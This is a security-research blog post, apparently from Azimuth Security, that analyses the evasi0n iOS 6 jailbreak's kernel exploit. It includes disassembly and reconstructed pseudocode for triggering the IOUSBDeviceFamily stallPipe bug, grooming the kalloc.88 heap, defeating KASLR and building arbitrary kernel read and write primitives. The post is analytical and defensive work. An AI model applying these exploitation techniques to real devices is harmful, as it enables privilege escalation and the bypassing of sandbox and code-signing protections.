|
|
project zeus |
|
|
"You will not be informed of the meaning of Project Zeus until the time is right for you to know the meaning of Project Zeus."
|
|
|
|
|
|
|
From USR to SVC: Dissecting the 'evasi0n' Kernel Exploit
|
|
The evasi0n jailbreak leverages an impressive set of vulnerabilities that collectively enable users to fully jailbreak their iOS 6.x based device. While the user land component was an impressive feat on its own, the kernel exploit used to evade sandbox restrictions as well as code signing, holds an equally impressive array of sophisticated exploitation techniques. In this blog entry, we detail the leveraged kernel vulnerability and show how evasi0n goes to great lengths to overcome security hardenings such as kernel address space randomization and kernel address space protection.
The IOUSBDeviceFamily Vulnerability
The kernel vulnerability leveraged by evasi0n lies in the com.apple.iokit.IOUSBDeviceFamily driver in iOS. An application may talk to this driver using the IOUSBDeviceInterface user client, allowing it to access and communicate with a USB device as a whole. This is typically assisted by leveraging functionality of the IOUSBDeviceLib userland COM plugin, which implements the IOUSBDeviceInterfaceClass and interfaces with the methods exposed by IOUSBDeviceInterface (for a list, see this page). In order to talk to a device, endpoints called pipes are provided to which applications and services can write to and read from. These pipes, such as the default control pipe, are abstracted by the interface class and exposed only as index values to user space components, but are at the lower layer referenced by their pointer value to the backing kernel pipe object.
In the com.apple.iokit.IOUSBDeviceFamily driver, several methods that accept a pipe object pointer from user space fail to perform sufficient validation and only check if the pointer passed in is non-null. An application with the ability to communicate with usb devices (essentially holding the 'com.apple.security.device.usb' entitlement) may interact with the IOUSBDeviceInterface directly by invoking functions such as IOConnectCallMethod() or IOConnectCallScalarMethod(), and can therefore provide an arbitrary pipe object pointer to these methods. This may result in arbitrary code execution if the memory referenced by the provided pipe object pointer can be controlled from user space.
In evasi0n, the method with selector 15 (stallPipe) is used to trigger the vulnerability. The assembly output of the processing function in com.apple.iokit.IOUSBDaviceFamily is shown below.
0000:80660EE8 ; unsigned int stallPipe(int interface, int pipe)
0000:80660EE8
0000:80660EE8 PUSH {R7,LR}
0000:80660EEA MOVW R0, #0x2C2
0000:80660EEE MOV R7, SP
0000:80660EF0 MOVT.W R0, #0xE000
0000:80660EF4 CMP R1, #0 // is pipe object pointer null?
0000:80660EF6 IT EQ
0000:80660EF8 POPEQ {R7,PC}
0000:80660EFA MOV R0, R1
0000:80660EFC BL __stallPipe
0000:80660F00 MOVS R0, #0
0000:80660F02 POP {R7,PC}
0000:8065FC60 __stallPipe
0000:8065FC60 LDR R1, [R0,#0x28] // check if value in pipe object is 1
0000:8065FC62 CMP R1, #1
0000:8065FC64 IT NE
0000:8065FC66 BXNE LR
0000:8065FC68 LDR R2, [R0,#8] // get object X from pipe object
0000:8065FC6A LDR R1, [R0,#0x20] // get value from pipe object
0000:8065FC6C MOV R0, R2
0000:8065FC6E MOVS R2, #1
0000:8065FC70 B.W sub_80661B70
0000:80661B70 ; int sub_80661B70(int interface)
0000:80661B70
0000:80661B70 PUSH {R7,LR}
0000:80661B72 MOV R7, SP
0000:80661B74 SUB SP, SP, #8
0000:80661B76 LDR.W R9, [R0] // get object Y from object X
0000:80661B7A MOV R12, R2
0000:80661B7C LDR R0, [R0,#0x50] // get object Z from object X (1st arg)
0000:80661B7E MOV R2, R1 // 3rd arg
0000:80661B80 LDR.W R1, [R9,#0x344] // get value from object Y (2nd arg)
0000:80661B84 LDR R3, [R0] // object Z vtable
0000:80661B86 LDR.W R9, [R3,#0x70] // get function from object Z vtable
0000:80661B8A MOVS R3, #0
0000:80661B8C STR R3, [SP,#0x10+var_10]
0000:80661B8E STR R3, [SP,#0x10+var_C]
0000:80661B90 MOV R3, R12
0000:80661B92 BLX R9 // call function from object Z vtable
0000:80661B94 ADD SP, SP, #8
0000:80661B96 POP {R7,PC}
In iOS 5, an attacker could typically create a fake object in user-mode and pass a pointer to it in order to make the kernel operate on the user controlled buffer. In iOS 6, however, Apple has separated user and kernel address space (see the section on 'Kernel Address Space Protection' in our iOS 6 kernel security presentation) and therefore renders this technique ineffective. Moreover, with the introduction of kernel address space layout randomisation (KASLR), iOS 6 furthermore complicates kernel exploitation as the attacker can no longer easily infer where the kernel and driver modules are mapped. In the following sections, we look at how evasi0n works its way around these mitigations in order to gain full control of the iOS kernel.
From bug to PC: Taming the kernel heap
Recall from the vulnerability that the attacker can pass any pointer he or she wants to the vulnerable function. In order to exploit the vulnerability, this pointer must not only reference valid memory but also memory that the attacker can control. Essentially, this initial step requires a memory leak of some kind as well as a way of injecting data into kernel memory. The strategy evasi0n uses in this initial stage is to groom the heap with both allocations semi-controlled by the user as well as allocations for which it can query the address (the leak). This way, evasi0n can with a high degree of predictability determine the address of the data it controls.
In order to make allocations for which evasi0n can query the address, it calls method selector 18 (createData) of the IOUSBDeviceInterface user client. This method invokes the createMappinInTask() method to request a mapping to be created in the kernel task and produces an IOMemoryMap object whose address is returned back to user mode as a "map token". The use of object pointers as unique identifiers for user mode components is very common in iOS and OSX. To complicate kernel exploitation, many such pointers are now added a fixed unknown permutation value (and thus retaining the uniqueness) before returned to user mode, but there are still examples of drivers that happily convey this information.
The IOMemoryMap object is allocated using kalloc() and results in a 68 byte allocation, which falls into the kalloc.88 zone. Thus, an attacker who is able to trigger allocations in this zone using controlled data, may potentially be able to locate it in kernel memory. Before doing this, evasi0n ensures that the target kalloc zone is in a defragmented state by repeatedly creating IOMemoryMap objects until it has 9 bordering objects. This is shown by the following pseudocode.
void
DefragmentHeap( io_connect_t data_port )
{
uint64_t input;
uint64_t output[3];
int outputCnt;
int count;
uint32_t map_token;
uint32_t prev_map_token;
...
while ( 1 )
{
input = 1024;
outputCnt = 3;
result = IOConnectCallScalarMethod( data_port, 18, &input, 1, output, &outputCnt );
map_token = ( result == KERN_SUCCESS ) ? ( uint32_t ) output[2] : 0;
if ( ( prev_map_token - map_token ) == 0xb0 )
{
count++;
if ( count == 9 )
{
// sufficiently defragmented
// start to inject user controlled data
...
}
}
else
{
count = 0;
{
}
}
Note that 0xb0 (176) is used as opposed to 0x58 (88) in the above code when determining object adjacency. This is to compensate for an additional allocation that is requested from the same zone (before the IOMemoryMap object is allocated) when calling selector method 18.
Once evasi0n has sufficiently defragmented the kalloc.88 zone using IOMemoryMap objects, it creates a message holding 20 out-of-line descriptors (mach_msg_ool_descriptor_t), each referencing 40 bytes of user provided data. When sending this message in a mach_msg() call, the kernel creates a vm_map_copy_t structure for each ool descriptor held by the message (if the data size is less than a page) and pads the user provided data to it. This essentially produces a sizeof( vm_map_copy_data_t ) (48 bytes) + 40 bytes kalloc() allocation which falls into the same kalloc.88 zone.
mach_port_allocate( mach_task_self( ), MACH_PORT_RIGHT_RECEIVE, &myport );
msg.header.msgh_remote_port = myport;
msg.header.msgh_local_port = MACH_PORT_NULL;
msg.header.msgh_bits = MACH_MSGH_BITS ( MACH_MSG_TYPE_MAKE_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
msg.header.msgh_size = sizeof( msg );
msg.body.msgh_descriptor_count = 20;
for ( i = 0; i < msg.body.msgh_descriptor_count; i++ )
{
msg.desc[i].address = layout;
msg.desc[i].size = 40;
msg.desc[i].type = MACH_MSG_OOL_DESCRIPTOR;
}
mach_msg( &msg.header, MACH_SEND_MSG, msg.header.msgh_size, 0, 0, 0, 0 );
// point fakePipeObj into ool descriptor data
fakePipeObj = map_token - 0x340;
The vm_map_copy_t allocations stay in memory until the destination port receives the message in another mach_msg() call, and therefore allow evasi0n to force persistent allocations into the kalloc.88 zone while having full control of the last 40 bytes. In turn, this allows evasi0n to reference user controlled data by leveraging the pointer values of the IOMemoryMap objects allocated previously. The line below depicts the heap layout in the kalloc.88 zone that this process tries to obtain.
[ repeat 18 times ] [ [ vm_map_copy_t | AAAA.. ] [ vm_map_copy_t | AAAA.. ] [ IOMemoryMap ] [ ... ] [ IOMemoryMap ] [ ...] [ repeat 8 times ]
In order to control PC and eventually achieve arbitrary code execution, evasi0n creates a very specific ool descriptor data layout. In fact, whenever evasi0n needs to call a different function, all the vm_map_copy_t allocations are freed (by receiving the message at the destination port) and a new message is sent with the updated ool descriptor data (reallocating the freed allocations). An important goal in preparing this data is to have all the object dereferences (triggered by the stallPipe function in com.apple.iokit.IOUSBDeviceFamily) land in the last 40 bytes of the vm_map_copy_t allocations.
Given that the kalloc.88 zone has been properly defragmented using IOMemoryMap objects, evasi0n sets the address of the pipe object passed to selector 15 to the last IOMemoryMap object - 0x340 (pointing to the start of the user controlled data of the 10th vm_map_copy_t allocation) and preps the buffer for each ool descriptor as shown in the code below. This allows evasi0n to invoke an arbitrary function and fully control the value of the second (r1) and third argument (r2), while leaving the first argument (r0) in a semi controlled state due to its use as an object (with a functional viable pointer). We describe the implications of this in the primitives section.
void
CallFunctionWithArgs( io_connect_t data_port, void * function, int arg2, int arg3 )
{
int layout[10];
uint64_t input;
layout[0] = fakePipeObj + 0xC;
layout[1] = fakePipeObj + 0x10;
layout[2] = arg2; // second arg
layout[3] = fakePipeObj - 0x33C; // pointer to second arg + 0x344
layout[4] = fakePipeObj - 0x5C;
layout[5] = function; // function to call
layout[6] = arg3; // third argument
layout[7] = 0xDEADC0DE;
layout[8] = 1; // is active (checked in driver)
layout[9] = 0xDEADC0DE;
// receive and send new message with updated layout
PrepareHeapLayout( data_port, layout );
input = (unsigned int)( fakePipeObj - 8 );
IOConnectCallScalarMethod( data_port, 15, &input, 1, 0, 0);
}
Finding the kernel base
Once evasi0n can control the program counter (PC), it proceeds to learning the base of the kernel. Since iOS6, the kernel is slid on boot, offering 512 possible locations at which the kernel can be mapped. However, in spite of this randomization, kernel address space is not fully randomized, partly due to the ARM vector table being located at a known fixed address. In the classic model, used in pre-Cortex chips as well as Cortex-A/R chips, the vector table is initially held at address 0, but at runtime can be relocated to 0xFFFF0000 by setting the V bit (high exception vectors) in the control register (CP15 c1). Although more recent TrustZone enabled ARM cores such as the Cortex-A{n} series allow the vector table to be relocated to an arbitrary address, iOS-based devices stay true to the old model. The following set of handlers are defined in the ARM vector table.
Offset Handler
===============
00 Reset
04 Undefined Instruction
08 Supervisor Call (SVC)
0C Prefetch Abort
10 Data Abort
14 (Reserved)
18 Interrupt (IRQ)
1C Fast Interrupt (FIQ)
When an exception occurs, the processor simply begins to execute at the specific offset, and the following dump shows how these handlers jump to the relevant code in the ARM vector page.
(gdb) x/8i 0xffff0000
0xffff0000: add pc, pc, #24 ; 0x18
0xffff0004: add pc, pc, #36 ; 0x24
0xffff0008: add pc, pc, #48 ; 0x30
0xffff000c: add pc, pc, #60 ; 0x3c
0xffff0010: add pc, pc, #72 ; 0x48
0xffff0014: add pc, pc, #84 ; 0x54
0xffff0018: add pc, pc, #96 ; 0x60
0xffff001c: mov pc, r9
In order to learn the address from where selector method 15 calls the controlled function pointer, evasi0n generates an exception by invoking the data abort exception handler (_feh_dataabt) directly from a separate thread. In order to catch this exception, it calls thread_set_exception_ports() to set up an EXCEPTION_STATE_IDENTITY handler for the target thread, which causes the exception to be dispatched to the catch_exception_raise_state_identity() function. This function can be summarized as follows.
kern_return_t
catch_exception_raise_state_identity
(mach_port_t exception_port,
mach_port_t thread,
mach_port_t task,
exception_type_t exception,
exception_data_t code,
mach_msg_type_number_t code_count,
int * flavor,
thread_state_t in_state,
mach_msg_type_number_t in_state_count,
thread_state_t out_state,
mach_msg_type_number_t * out_state_count)
{
*(DWORD*)( global.read_buf + global.read_addr_cur - global.read_addr ) = in_state->__r1;
global.exception_pc = in_state->__pc;
global.read_addr_cur += 4;
bzero( &out_state, sizeof( out_state ) );
out_state->__sp = &custom_stack[custom_stack_size];
out_state->__cpsr = 0x30;
if ( global.read_addr_cur >= global.read_addr_end )
{
out_state->__pc = &CallExitThread & ~1;
bContinue = false;
}
else
{
out_state->__r0 = &global;
out_state->__pc = &TriggerExceptionWithGlobal & ~1;
}
out_state_count = ARM_THREAD_STATE_COUNT;
return 0;
}
In the function above, in_state->__pc is saved to global.exception_pc and allows evasi0n to leak the address in com.apple.iokit.IOUSBDeviceFamily from where the data abort handler was called. This pointer value is used to compute the base address of the kernel as well as the base address of the com.apple.iokit.IOUSBDeviceFamily driver module by leveraging OSBundleMachoHeaders data that can be requested from OSKextCopyLoadedKextInfo(). Specifically, by retrieving both the unslid kernel text segment address and the unslid com.apple.iokit.IOUSBDeviceFamily text section address, the kernel slide is computed as follows:
slide = ( ( global.exception_pc - IOUSBTextSectionAddrUnslid ) & 0xFFF00000 )
kernel_base = ( KernelTextSegmentAddrUnslid & 0xFFFF0000 ) + slide
Note also the additional code in catch_exception_raise_state_identity() which also allows evasi0n to leak 4 bytes at the chosen address (global.read_addr_cur) for each triggered exception. This is performed by prep'ing the heap such that read_addr_cur is dereferenced and its value is put into r1. We can see this by looking at the TriggerException() function, called whenever evasi0n uses this technique.
void
TriggerException( io_connect_t data_port, void * function, int addr_read_into_r1, int unused )
{
uint64_t input
int layout[10]
...
layout[0] = fakePipeObj + 0xC;
layout[1] = fakePipeObj + 0x10;
layout[2] = 0x580EF9C;
layout[3] = addr_read_into_r1 - 0x344; // read address + 0x344 into r1
layout[4] = fakePipeObj - 0x5C;
layout[5] = function; // function to call
layout[6] = unused; // third arg
layout[7] = 0xDEADC0DE;
layout[8] = 1; // must be 1
layout[9] = 0xDEADC0DE;
PrepareHeapLayout( data_port, layout );
input = (unsigned int)( fakePipeObj - 8 );
IOConnectCallScalarMethod( data_port, 15, &input, 1, 0, 0);
}
This function is called by the wrapper function TriggerExceptionWithGlobal(), which is invoked by catch_exception_raise_state_identity().
void
TriggerExceptionWithGlobal( globaldata * global )
{
TriggerException( global.data_port, 0xFFFF0010, global.read_addr_cur, 0x1234 );
}
Read and Write Primitives
Once the kernel slide is known and evasi0n has the ability to leak arbitrary memory using the exception technique, its first step is to find a more reliable way of leaking memory. A major drawback of leaking data using the exception mechanism is that the kalloc zone needs to be prep'ed for each 4 bytes of memory one wants to leak. This may potentially introduce errors as there is nothing preventing the system from allocating blocks from the kalloc.88 zone between the time when a message is received (and the blocks are freed) and a new message is sent (reallocating those blocks). Thus, evasi0n attempts to find a more reliably way of leaking memory by locating the memmove() function within the kernel module. This is done by first leaking the first two pages of the kernel text section and by following each branch instruction (and leaking the pages preceding the branch destination) until the memmove() signature can be found. This works well because one of the first calls in the kernel binary is memset() which is located close to the wanted memmove() function.
Having found the memmove() function in memory, the next step is to return data to a buffer that can be read from user-mode. Recall from the heap grooming section that the first argument passed to the function that gets called when leveraging the vulnerability points to the data portion of the vm_map_copy_t allocations (passed in as data in the ool descriptor). Thus, as long as the length is small enough to fit into this buffer (0x18 bytes or less), memmove() can be called directly with the wanted source address to leak arbitrary memory. In the code below, evasi0n invokes memmove() to write the contents held by the source address back into the vm_map_copy_t data buffer. It then receives the message and copies out the data from the ool descriptor where it sees that the buffer contents have changed.
int
KernelReadSmallBuffer( io_connect_t data_port, int memmove_offset, void * src, void * dst, size_t len )
{
int layout[10];
uint64_t input;
...
layout[0] = fakePipeObj + 0xC;
layout[1] = fakePipeObj + 0x10;
layout[2] = src; // second arg
layout[3] = fakePipeObj - 0x33C;
layout[4] = fakePipeObj - 0x5C; // first argument (&layout[4])
layout[5] = kernel_base + memmove_offset; // function to call
layout[6] = length; // third argument
layout[7] = 0xDEADC0DE;
layout[8] = 1; // required
layout[9] = 0xDEADC0DE;
PrepareHeapLayout( data_port, layout );
input = (unsigned int) ( fakePipeObj - 8 );
IOConnectCallScalarMethod( data_port, 15, &input, 1, 0, 0);
mach_msg( &msg_recv, MACH_RCV_MSG, 0, 0x114, myport, 0, 0 );
mach_msg( &msg_send, MACH_SEND_MSG, msg_send.base.header.msgh_size, 0, 0, 0, 0 );
for ( i = 0; i < 20; i++ )
{
if ( memcmp( msg_recv.desc[i].address, layout, 40 ) )
{
memcpy( dst, msg_recv.desc[i].address, length );
}
}
}
If the requested buffer is larger than 24 bytes, evasi0n takes a different approach as the data cannot easily be fitted into the 40 byte ool descriptor buffer (the copy starts 16 bytes into it). To get around this limitation, it corrupts the vm_map_copy_t structure preceding the ool descriptor data in memory to make the kernel believe it manages a different buffer of a different size. This was a technique (primitive #2: arbitrary memory disclosure) presented in the talk Azimuth Security did on iOS 6 kernel security at Hack in the Box and Breakpoint last year, and essentially allows an attacker (with the ability to corrupt a vm_map_copy_t structure) to leak arbitrary memory of arbitrary length without any side effects (i.e. no need to repair the structure).
The diagram below depicts a typical layout of a vm_map_copy_t structure with data appended to it. As the data pointer (kdata) referenced by this data structure is never freed, an attacker can modify 'Size' and 'kdata' in order to have the message return the indicated memory.
The steps evasi0n takes for corrupting the vm_map_copy_t structure in memory are a bit more involved, but basically boils down to positioning a crafted vm_map_copy_t structure into one ool descriptor buffer and invoking memmove() to copy the fake structure over a real one in one of the adjacent vm_map_copy_t buffers. Once the vm_map_copy_t structure in memory is corrupted, the message is received, causing the kernel to return the data specified back into an allocated region.
int
KernelReadBigBuffer( io_connect_t data_port, int memmove_offset, int source, void *ouput, size_t length)
{
int layout[10];
uint64_t input;
my_message_t msg_send;
my_message_t msg_recv;
vm_map_copy_t copy = { 0 };
// init msg_send
...
copy.type = VM_MAP_COPY_KERNEL_BUFFER;
copy.size = length;
copy.cpy_kdata = source;
layout[0] = fakePipeObj + 0xC;
layout[1] = fakePipeObj + 0x10;
layout[2] = fakePipeObj - 0x70; // second arg
layout[3] = fakePipeObj - 0x33C; // decides second arg
layout[4] = fakePipeObj - 0x5C; // first arg ( &layout[4] )
layout[5] = kernel_region + memmove_offset; // function to call
layout[6] = 44; // third arg
layout[7] = 0x872C93C8;
layout[8] = 1;
layout[9] = 0xB030D179;
for ( i = 0; i < 20; i++ )
{
if ( i == return_data_index )
msg_send.desc[i].address = copy; // crafted vm_map_copy_t structure
else
msg_send.desc[i].address = layout; // fake pipeobj
msg_send.desc[i].size = 40;
msg_send.desc[i].type = MACH_MSG_OOL_DESCRIPTOR;
}
mach_msg(&msg_recv.base.header, MACH_RCV_MSG, 0, 0x114u, myport, 0, 0);
mach_msg(&msg_send.base.header, MACH_SEND_MSG, msg_send.base.header.msgh_size, 0, 0, 0, 0);
input = (unsigned int) ( fakePipeObj - 8 );
// corrupt vm_map_copy_t structure to read arbitrary memory
IOConnectCallScalarMethod( data_port, 15, &input, 1, 0, 0 );
// read back the memory set in the vm_map_copy_t structure
mach_msg(&msg_recv.base.header, MACH_RCV_MSG, 0, 0x114u, myport, 0, 0);
mach_msg(&msg_send.base.header, MACH_SEND_MSG, msg_send.base.header.msgh_size, 0, 0, 0, 0);
// copy out the leaked data from ool descriptor
...
}
Because evasi0n cannot set the destination pointer in a memmove() operation to an arbitrary value (due to the requirement of needing the control the vtable pointer at that location to call the wanted function), another technique needs to be used for writing to arbitrary memory. To solve this problem, it simply searches for an STR R1, [R2] / BX LR gadget in memory and uses that to write four bytes at a time. Once this gadget has been found, it proceeds to patch all the needed locations in memory such as the sb_evaluate() and task_for_pid() routine. Although code pages are initially non-writable, it finds the physical memory map of the kernel (kernel_pmap) and patches the relevant page table entries directly.
Conclusion
With the introduction of KASLR and user/kernel address space separation, Apple has significantly raised the bar for kernel exploitation in iOS 6. However, as the evasi0n jailbreak demonstrates, reliable exploitation can still be achieved once the right primitives are available. As the attack was partly made possible using information leaks, it should be in Apple's best interest to review drivers in iOS and make sure they don't leak valuable kernel address information to user mode.
Labels: iOS, Jailbreak, Privilege Escalation, Vulnerabilities
|
|
|
|
Great post Tarjei!
great english skills, "sounds" like Apple inc. evangelist i've heard in some itunes Apple app development essential videos of 2008. have a couple of names in my mind thou i won't name them, marc
W.O.W
Very nice , congrats! =)
This is great information, thanks’ for share!